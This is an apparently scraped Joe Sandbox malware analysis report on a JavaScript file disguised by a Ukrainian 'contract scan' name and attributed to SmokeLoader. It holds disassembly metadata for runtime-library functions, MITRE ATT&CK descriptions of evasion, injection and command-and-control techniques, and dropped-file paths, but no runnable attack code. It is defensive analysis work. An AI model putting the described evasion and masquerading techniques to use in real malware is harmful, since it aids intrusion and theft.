Source File: 00000015.00000002.1743030934.000000000040B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_40b000_therfaa.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 08a5706dd36f95cb33eb1fd19b6180d9160690d7207ff98e0d0a3bb732afdc1e
Instruction ID: 88e971658578b68865164239707bd76bcf5248923822aacfc0123a1835a67747
Opcode Fuzzy Hash: 08a5706dd36f95cb33eb1fd19b6180d9160690d7207ff98e0d0a3bb732afdc1e
Instruction Fuzzy Hash: 17E101B390020DBEEF11DAE2CC85EFF77BDEB5474CF00092AB215D2050EA78AA459764

Function 00414047 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00414122
_memset.LIBCMT ref: 00414142
___ansicp.LIBCMT ref: 00414199
___convertcp.LIBCMT ref: 004141BA

Part of subcall function 004143CF: _memset.LIBCMT ref: 004144C9

Strings

1BA, xrefs: 004141CB

Memory Dump Source

Source File: 00000015.00000002.1743030934.000000000040B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_40b000_therfaa.jbxd

Similarity

API ID: _memset$___ansicp___convertcp_malloc
String ID: 1BA
API String ID: 182381717-427559476
Opcode ID: 1a9c0c095cd4ebbc7412376d92f8ab6fbe77295eb3f3c08220bdd1022898e340
Instruction ID: c477a1a75e98c9aee6368b68bfaa6e784f79f85bafb577a3b4888ecfb962d632
Opcode Fuzzy Hash: 1a9c0c095cd4ebbc7412376d92f8ab6fbe77295eb3f3c08220bdd1022898e340
Instruction Fuzzy Hash: 7051BE7550011AFFDB109FA5DC859EF3BA9EB98354B20453AFA04D7260D738CDE18B98

Function 0040D7A1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0040D7BE
__lock.LIBCMT ref: 0040D819
__lock.LIBCMT ref: 0040D83A

Strings

x$@, xrefs: 0040D7CA

Memory Dump Source

Source File: 00000015.00000002.1743030934.000000000040B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_40b000_therfaa.jbxd

Similarity

API ID: __lock$__crt_waiting_on_module_handle
String ID: x$@
API String ID: 946058739-580337868
Opcode ID: fc4670a47f3632b01b16caf735d8ff3ab22c7296ea4dd8459bfb17ea7d2a7ba1
Instruction ID: f8475ee44d53d994f5b99ace5135e8e36cb9c777021c500f84fce444b4195f36
Opcode Fuzzy Hash: fc4670a47f3632b01b16caf735d8ff3ab22c7296ea4dd8459bfb17ea7d2a7ba1
Instruction Fuzzy Hash: 7A119071940741EEE720AF769945B4ABBE0AF04318F10853FE4A9B72E1CB78A945CF5C

Function 0041827B Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004182A1

Part of subcall function 004180C6: __fltout2.LIBCMT ref: 004180F2

__cftog_l.LIBCMT ref: 004182C7
__cftoe_l.LIBCMT ref: 004182F9

Memory Dump Source

Source File: 00000015.00000002.1743030934.000000000040B000.00000020.00000001.01000000.00000009.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_40b000_therfaa.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 81a52edbc7f04b0b3beaf306ef0248834585fa557240606b8da63e4de76e0855
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 5C117E3640054EBBCF135E84CC018EE3F22BB19354B18845AFE1859131CB3AC9B2EB89

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4b03c9db-b30a-4414-a0b2-a7cdc9536d84.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF685857.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e7ff8796-2639-4aa3-8d25-0fe1fc06b048.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Windows Analysis Report
#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js